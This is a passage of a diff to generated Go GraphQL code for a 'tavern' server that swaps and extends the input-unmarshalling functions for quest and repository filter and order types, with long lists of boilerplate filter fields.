ec.unmarshalNQuestOrderField2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐQuestOrderField(ctx, v) if err != nil { return it, err } @@ -20851,14 +22049,14 @@ func (ec *executionContext) unmarshalInputPortalOrder(ctx context.Context, obj a return it, nil } -func (ec *executionContext) unmarshalInputPortalWhereInput(ctx context.Context, obj any) (ent.PortalWhereInput, error) { - var it ent.PortalWhereInput +func (ec *executionContext) unmarshalInputQuestWhereInput(ctx context.Context, obj any) (ent.QuestWhereInput, error) { + var it ent.QuestWhereInput asMap := map[string]any{} for k, v := range obj.(map[string]any) { asMap[k] = v } - fieldsInOrder := [...]string{"not", "and", "or", "id", "idNEQ", "idIn", "idNotIn", "idGT", "idGTE", "idLT", "idLTE", "createdAt", "createdAtNEQ", "createdAtIn", "createdAtNotIn", "createdAtGT", "createdAtGTE", "createdAtLT", "createdAtLTE", "lastModifiedAt", "lastModifiedAtNEQ", "lastModifiedAtIn", "lastModifiedAtNotIn", "lastModifiedAtGT", "lastModifiedAtGTE", "lastModifiedAtLT", "lastModifiedAtLTE", "closedAt", "closedAtNEQ", "closedAtIn", "closedAtNotIn", "closedAtGT", "closedAtGTE", "closedAtLT", "closedAtLTE", "closedAtIsNil", "closedAtNotNil", "hasTask", "hasTaskWith", "hasShellTask", "hasShellTaskWith", "hasBeacon", "hasBeaconWith", "hasOwner", "hasOwnerWith", "hasActiveUsers", "hasActiveUsersWith"} + fieldsInOrder := [...]string{"not", "and", "or", "id", "idNEQ", "idIn", "idNotIn", "idGT", "idGTE", "idLT", "idLTE", "createdAt", "createdAtNEQ", "createdAtIn", "createdAtNotIn", "createdAtGT", "createdAtGTE", "createdAtLT", "createdAtLTE", "lastModifiedAt", "lastModifiedAtNEQ", "lastModifiedAtIn", "lastModifiedAtNotIn", "lastModifiedAtGT", "lastModifiedAtGTE", "lastModifiedAtLT", "lastModifiedAtLTE", "name", "nameNEQ", "nameIn", "nameNotIn", "nameGT", "nameGTE", "nameLT", "nameLTE", "nameContains", "nameHasPrefix", "nameHasSuffix", "nameEqualFold", "nameContainsFold", "parameters", "parametersNEQ", "parametersIn", "parametersNotIn", "parametersGT", "parametersGTE", "parametersLT", "parametersLTE", "parametersContains", "parametersHasPrefix", "parametersHasSuffix", "parametersIsNil", "parametersNotNil", "parametersEqualFold", "parametersContainsFold", "paramDefsAtCreation", "paramDefsAtCreationNEQ", "paramDefsAtCreationIn", "paramDefsAtCreationNotIn", "paramDefsAtCreationGT", "paramDefsAtCreationGTE", "paramDefsAtCreationLT", "paramDefsAtCreationLTE", "paramDefsAtCreationContains", "paramDefsAtCreationHasPrefix", "paramDefsAtCreationHasSuffix", "paramDefsAtCreationIsNil", "paramDefsAtCreationNotNil", "paramDefsAtCreationEqualFold", "paramDefsAtCreationContainsFold", "eldritchAtCreation", "eldritchAtCreationNEQ", "eldritchAtCreationIn", "eldritchAtCreationNotIn", "eldritchAtCreationGT", "eldritchAtCreationGTE", "eldritchAtCreationLT", "eldritchAtCreationLTE", "eldritchAtCreationContains", "eldritchAtCreationHasPrefix", "eldritchAtCreationHasSuffix", "eldritchAtCreationIsNil", "eldritchAtCreationNotNil", "eldritchAtCreationEqualFold", "eldritchAtCreationContainsFold", "hasTome", "hasTomeWith", "hasBundle", "hasBundleWith", "hasTasks", "hasTasksWith", "hasCreator", "hasCreatorWith"} for _, k := range fieldsInOrder { v, ok := asMap[k] if !ok { @@ -20867,21 +22065,21 @@ func (ec *executionContext) unmarshalInputPortalWhereInput(ctx context.Context, switch k { case "not": ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("not")) - data, err := ec.unmarshalOPortalWhereInput2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐPortalWhereInput(ctx, v) + data, err := ec.unmarshalOQuestWhereInput2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐQuestWhereInput(ctx, v) if err != nil { return it, err } it.Not = data case "and": ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("and")) - data, err := ec.unmarshalOPortalWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐPortalWhereInputᚄ(ctx, v) + data, err := ec.unmarshalOQuestWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐQuestWhereInputᚄ(ctx, v) if err != nil { return it, err } it.And = data case "or": ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("or")) - data, err := ec.unmarshalOPortalWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐPortalWhereInputᚄ(ctx, v) + data, err := ec.unmarshalOQuestWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐQuestWhereInputᚄ(ctx, v) if err != nil { return it, err } @@ -21054,154 +22252,476 @@ func (ec *executionContext) unmarshalInputPortalWhereInput(ctx context.Context, return it, err } it.LastModifiedAtLTE = data - case "closedAt": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("closedAt")) - data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) + case "name": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("name")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.ClosedAt = data - case "closedAtNEQ": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("closedAtNEQ")) - data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) + it.Name = data + case "nameNEQ": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameNEQ")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.ClosedAtNEQ = data - case "closedAtIn": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("closedAtIn")) - data, err := ec.unmarshalOTime2ᚕtimeᚐTimeᚄ(ctx, v) + it.NameNEQ = data + case "nameIn": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameIn")) + data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v) if err != nil { return it, err } - it.ClosedAtIn = data - case "closedAtNotIn": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("closedAtNotIn")) - data, err := ec.unmarshalOTime2ᚕtimeᚐTimeᚄ(ctx, v) + it.NameIn = data + case "nameNotIn": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameNotIn")) + data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v) if err != nil { return it, err } - it.ClosedAtNotIn = data - case "closedAtGT": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("closedAtGT")) - data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) + it.NameNotIn = data + case "nameGT": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameGT")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.ClosedAtGT = data - case "closedAtGTE": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("closedAtGTE")) - data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) + it.NameGT = data + case "nameGTE": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameGTE")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.ClosedAtGTE = data - case "closedAtLT": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("closedAtLT")) - data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) + it.NameGTE = data + case "nameLT": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameLT")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.ClosedAtLT = data - case "closedAtLTE": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("closedAtLTE")) - data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) + it.NameLT = data + case "nameLTE": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameLTE")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.ClosedAtLTE = data - case "closedAtIsNil": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("closedAtIsNil")) + it.NameLTE = data + case "nameContains": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameContains")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + it.NameContains = data + case "nameHasPrefix": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameHasPrefix")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + it.NameHasPrefix = data + case "nameHasSuffix": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameHasSuffix")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + it.NameHasSuffix = data + case "nameEqualFold": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameEqualFold")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + it.NameEqualFold = data + case "nameContainsFold": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameContainsFold")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + it.NameContainsFold = data + case "parameters": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("parameters")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + it.Parameters = data + case "parametersNEQ": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("parametersNEQ")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + it.ParametersNEQ = data + case "parametersIn": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("parametersIn")) + data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v) + if err != nil { + return it, err + } + it.ParametersIn = data + case "parametersNotIn": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("parametersNotIn")) + data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v) + if err != nil { + return it, err + } + it.ParametersNotIn = data + case "parametersGT": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("parametersGT")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + it.ParametersGT = data + case "parametersGTE": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("parametersGTE")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + it.ParametersGTE = data + case "parametersLT": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("parametersLT")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + it.ParametersLT = data + case "parametersLTE": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("parametersLTE")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + it.ParametersLTE = data + case "parametersContains": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("parametersContains")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + it.ParametersContains = data + case "parametersHasPrefix": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("parametersHasPrefix")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + it.ParametersHasPrefix = data + case "parametersHasSuffix": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("parametersHasSuffix")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + it.ParametersHasSuffix = data + case "parametersIsNil": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("parametersIsNil")) data, err := ec.unmarshalOBoolean2bool(ctx, v) if err != nil { return it, err } - it.ClosedAtIsNil = data - case "closedAtNotNil": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("closedAtNotNil")) + it.ParametersIsNil = data + case "parametersNotNil": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("parametersNotNil")) data, err := ec.unmarshalOBoolean2bool(ctx, v) if err != nil { return it, err } - it.ClosedAtNotNil = data - case "hasTask": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasTask")) - data, err := ec.unmarshalOBoolean2ᚖbool(ctx, v) + it.ParametersNotNil = data + case "parametersEqualFold": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("parametersEqualFold")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.HasTask = data - case "hasTaskWith": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasTaskWith")) - data, err := ec.unmarshalOTaskWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐTaskWhereInputᚄ(ctx, v) + it.ParametersEqualFold = data + case "parametersContainsFold": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("parametersContainsFold")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.HasTaskWith = data - case "hasShellTask": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasShellTask")) - data, err := ec.unmarshalOBoolean2ᚖbool(ctx, v) + it.ParametersContainsFold = data + case "paramDefsAtCreation": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("paramDefsAtCreation")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.HasShellTask = data - case "hasShellTaskWith": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasShellTaskWith")) - data, err := ec.unmarshalOShellTaskWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐShellTaskWhereInputᚄ(ctx, v) + it.ParamDefsAtCreation = data + case "paramDefsAtCreationNEQ": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("paramDefsAtCreationNEQ")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + it.ParamDefsAtCreationNEQ = data + case "paramDefsAtCreationIn": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("paramDefsAtCreationIn")) + data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v) + if err != nil { + return it, err + } + it.ParamDefsAtCreationIn = data + case "paramDefsAtCreationNotIn": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("paramDefsAtCreationNotIn")) + data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v) + if err != nil { + return it, err + } + it.ParamDefsAtCreationNotIn = data + case "paramDefsAtCreationGT": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("paramDefsAtCreationGT")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + it.ParamDefsAtCreationGT = data + case "paramDefsAtCreationGTE": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("paramDefsAtCreationGTE")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + it.ParamDefsAtCreationGTE = data + case "paramDefsAtCreationLT": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("paramDefsAtCreationLT")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + it.ParamDefsAtCreationLT = data + case "paramDefsAtCreationLTE": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("paramDefsAtCreationLTE")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + it.ParamDefsAtCreationLTE = data + case "paramDefsAtCreationContains": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("paramDefsAtCreationContains")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + it.ParamDefsAtCreationContains = data + case "paramDefsAtCreationHasPrefix": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("paramDefsAtCreationHasPrefix")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + it.ParamDefsAtCreationHasPrefix = data + case "paramDefsAtCreationHasSuffix": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("paramDefsAtCreationHasSuffix")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + it.ParamDefsAtCreationHasSuffix = data + case "paramDefsAtCreationIsNil": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("paramDefsAtCreationIsNil")) + data, err := ec.unmarshalOBoolean2bool(ctx, v) + if err != nil { + return it, err + } + it.ParamDefsAtCreationIsNil = data + case "paramDefsAtCreationNotNil": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("paramDefsAtCreationNotNil")) + data, err := ec.unmarshalOBoolean2bool(ctx, v) + if err != nil { + return it, err + } + it.ParamDefsAtCreationNotNil = data + case "paramDefsAtCreationEqualFold": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("paramDefsAtCreationEqualFold")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + it.ParamDefsAtCreationEqualFold = data + case "paramDefsAtCreationContainsFold": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("paramDefsAtCreationContainsFold")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + it.ParamDefsAtCreationContainsFold = data + case "eldritchAtCreation": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("eldritchAtCreation")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + it.EldritchAtCreation = data + case "eldritchAtCreationNEQ": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("eldritchAtCreationNEQ")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + it.EldritchAtCreationNEQ = data + case "eldritchAtCreationIn": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("eldritchAtCreationIn")) + data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v) + if err != nil { + return it, err + } + it.EldritchAtCreationIn = data + case "eldritchAtCreationNotIn": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("eldritchAtCreationNotIn")) + data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v) + if err != nil { + return it, err + } + it.EldritchAtCreationNotIn = data + case "eldritchAtCreationGT": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("eldritchAtCreationGT")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + it.EldritchAtCreationGT = data + case "eldritchAtCreationGTE": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("eldritchAtCreationGTE")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + it.EldritchAtCreationGTE = data + case "eldritchAtCreationLT": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("eldritchAtCreationLT")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + it.EldritchAtCreationLT = data + case "eldritchAtCreationLTE": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("eldritchAtCreationLTE")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + it.EldritchAtCreationLTE = data + case "eldritchAtCreationContains": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("eldritchAtCreationContains")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + it.EldritchAtCreationContains = data + case "eldritchAtCreationHasPrefix": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("eldritchAtCreationHasPrefix")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + it.EldritchAtCreationHasPrefix = data + case "eldritchAtCreationHasSuffix": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("eldritchAtCreationHasSuffix")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + it.EldritchAtCreationHasSuffix = data + case "eldritchAtCreationIsNil": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("eldritchAtCreationIsNil")) + data, err := ec.unmarshalOBoolean2bool(ctx, v) + if err != nil { + return it, err + } + it.EldritchAtCreationIsNil = data + case "eldritchAtCreationNotNil": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("eldritchAtCreationNotNil")) + data, err := ec.unmarshalOBoolean2bool(ctx, v) + if err != nil { + return it, err + } + it.EldritchAtCreationNotNil = data + case "eldritchAtCreationEqualFold": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("eldritchAtCreationEqualFold")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + it.EldritchAtCreationEqualFold = data + case "eldritchAtCreationContainsFold": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("eldritchAtCreationContainsFold")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + it.EldritchAtCreationContainsFold = data + case "hasTome": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasTome")) + data, err := ec.unmarshalOBoolean2ᚖbool(ctx, v) + if err != nil { + return it, err + } + it.HasTome = data + case "hasTomeWith": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasTomeWith")) + data, err := ec.unmarshalOTomeWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐTomeWhereInputᚄ(ctx, v) if err != nil { return it, err } - it.HasShellTaskWith = data - case "hasBeacon": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasBeacon")) + it.HasTomeWith = data + case "hasBundle": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasBundle")) data, err := ec.unmarshalOBoolean2ᚖbool(ctx, v) if err != nil { return it, err } - it.HasBeacon = data - case "hasBeaconWith": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasBeaconWith")) - data, err := ec.unmarshalOBeaconWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐBeaconWhereInputᚄ(ctx, v) + it.HasBundle = data + case "hasBundleWith": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasBundleWith")) + data, err := ec.unmarshalOAssetWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐAssetWhereInputᚄ(ctx, v) if err != nil { return it, err } - it.HasBeaconWith = data - case "hasOwner": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasOwner")) + it.HasBundleWith = data + case "hasTasks": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasTasks")) data, err := ec.unmarshalOBoolean2ᚖbool(ctx, v) if err != nil { return it, err } - it.HasOwner = data - case "hasOwnerWith": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasOwnerWith")) - data, err := ec.unmarshalOUserWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐUserWhereInputᚄ(ctx, v) + it.HasTasks = data + case "hasTasksWith": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasTasksWith")) + data, err := ec.unmarshalOTaskWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐTaskWhereInputᚄ(ctx, v) if err != nil { return it, err } - it.HasOwnerWith = data - case "hasActiveUsers": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasActiveUsers")) + it.HasTasksWith = data + case "hasCreator": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasCreator")) data, err := ec.unmarshalOBoolean2ᚖbool(ctx, v) if err != nil { return it, err } - it.HasActiveUsers = data - case "hasActiveUsersWith": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasActiveUsersWith")) + it.HasCreator = data + case "hasCreatorWith": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasCreatorWith")) data, err := ec.unmarshalOUserWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐUserWhereInputᚄ(ctx, v) if err != nil { return it, err } - it.HasActiveUsersWith = data + it.HasCreatorWith = data } } return it, nil } -func (ec *executionContext) unmarshalInputQuestOrder(ctx context.Context, obj any) (ent.QuestOrder, error) { - var it ent.QuestOrder +func (ec *executionContext) unmarshalInputRepositoryOrder(ctx context.Context, obj any) (ent.RepositoryOrder, error) { + var it ent.RepositoryOrder asMap := map[string]any{} for k, v := range obj.(map[string]any) { asMap[k] = v @@ -21227,7 +22747,7 @@ func (ec *executionContext) unmarshalInputQuestOrder(ctx context.Context, obj an it.Direction = data case "field": ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("field")) - data, err := ec.unmarshalNQuestOrderField2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐQuestOrderField(ctx, v) + data, err := ec.unmarshalNRepositoryOrderField2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐRepositoryOrderField(ctx, v) if err != nil { return it, err } @@ -21238,14 +22758,14 @@ func (ec *executionContext) unmarshalInputQuestOrder(ctx context.Context, obj an return it, nil } -func (ec *executionContext) unmarshalInputQuestWhereInput(ctx context.Context, obj any) (ent.QuestWhereInput, error) { - var it ent.QuestWhereInput +func (ec *executionContext) unmarshalInputRepositoryWhereInput(ctx context.Context, obj any) (ent.RepositoryWhereInput, error) { + var it ent.RepositoryWhereInput asMap := map[string]any{} for k, v := range obj.(map[string]any) { asMap[k] = v } - fieldsInOrder := [...]string{"not", "and", "or", "id", "idNEQ", "idIn", "idNotIn", "idGT", "idGTE", "idLT", "idLTE", "createdAt", "createdAtNEQ", "createdAtIn", "createdAtNotIn", "createdAtGT", "createdAtGTE", "createdAtLT", "createdAtLTE", "lastModifiedAt", "lastModifiedAtNEQ", "lastModifiedAtIn", "lastModifiedAtNotIn", "lastModifiedAtGT", "lastModifiedAtGTE", "lastModifiedAtLT", "lastModifiedAtLTE", "name", "nameNEQ", "nameIn", "nameNotIn", "nameGT", "nameGTE", "nameLT", "nameLTE", "nameContains", "nameHasPrefix", "nameHasSuffix", "nameEqualFold", "nameContainsFold", "parameters", "parametersNEQ", "parametersIn", "parametersNotIn", "parametersGT", "parametersGTE", "parametersLT", "parametersLTE", "parametersContains", "parametersHasPrefix", "parametersHasSuffix", "parametersIsNil", "parametersNotNil", "parametersEqualFold", "parametersContainsFold", "paramDefsAtCreation", "paramDefsAtCreationNEQ", "paramDefsAtCreationIn", "paramDefsAtCreationNotIn", "paramDefsAtCreationGT", "paramDefsAtCreationGTE", "paramDefsAtCreationLT", "paramDefsAtCreationLTE", "paramDefsAtCreationContains", "paramDefsAtCreationHasPrefix", "paramDefsAtCreationHasSuffix", "paramDefsAtCreationIsNil", "paramDefsAtCreationNotNil", "paramDefsAtCreationEqualFold", "paramDefsAtCreationContainsFold", "eldritchAtCreation", "eldritchAtCreationNEQ", "eldritchAtCreationIn", "eldritchAtCreationNotIn", "eldritchAtCreationGT", "eldritchAtCreationGTE", "eldritchAtCreationLT", "eldritchAtCreationLTE", "eldritchAtCreationContains", "eldritchAtCreationHasPrefix", "eldritchAtCreationHasSuffix", "eldritchAtCreationIsNil", "eldritchAtCreationNotNil", "eldritchAtCreationEqualFold", "eldritchAtCreationContainsFold", "hasTome", "hasTomeWith", "hasBundle", "hasBundleWith", "hasTasks", "hasTasksWith", "hasCreator", "hasCreatorWith"} + fieldsInOrder := [...]string{"not", "and", "or", "id", "idNEQ", "idIn", "idNotIn", "idGT", "idGTE", "idLT", "idLTE", "createdAt", "createdAtNEQ", "createdAtIn", "createdAtNotIn", "createdAtGT", "createdAtGTE", "createdAtLT", "createdAtLTE", "lastModifiedAt", "lastModifiedAtNEQ", "lastModifiedAtIn", "lastModifiedAtNotIn", "lastModifiedAtGT", "lastModifiedAtGTE", "lastModifiedAtLT", "lastModifiedAtLTE", "url", "urlNEQ", "urlIn", "urlNotIn", "urlGT", "urlGTE", "urlLT", "urlLTE", "urlContains", "urlHasPrefix", "urlHasSuffix", "urlEqualFold", "urlContainsFold", "publicKey", "publicKeyNEQ", "publicKeyIn", "publicKeyNotIn", "publicKeyGT", "publicKeyGTE", "publicKeyLT", "publicKeyLTE", "publicKeyContains", "publicKeyHasPrefix", "publicKeyHasSuffix", "publicKeyEqualFold", "publicKeyContainsFold", "lastImportedAt", "lastImportedAtNEQ", "lastImportedAtIn", "lastImportedAtNotIn", "lastImportedAtGT", "lastImportedAtGTE", "lastImportedAtLT", "lastImportedAtLTE", "lastImportedAtIsNil", "lastImportedAtNotNil", "hasTomes", "hasTomesWith", "hasOwner", "hasOwnerWith"} for _, k := range fieldsInOrder { v, ok := asMap[k] if !ok { @@ -21254,21 +22774,21 @@ func (ec *executionContext) unmarshalInputQuestWhereInput(ctx context.Context, o switch k { case "not": ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("not")) - data, err := ec.unmarshalOQuestWhereInput2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐQuestWhereInput(ctx, v) + data, err := ec.unmarshalORepositoryWhereInput2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐRepositoryWhereInput(ctx, v) if err != nil { return it, err } it.Not = data case "and": ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("and")) - data, err := ec.unmarshalOQuestWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐQuestWhereInputᚄ(ctx, v) + data, err := ec.unmarshalORepositoryWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐRepositoryWhereInputᚄ(ctx, v) if err != nil { return it, err } it.And = data case "or": ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("or")) - data, err := ec.unmarshalOQuestWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐQuestWhereInputᚄ(ctx, v) + data, err := 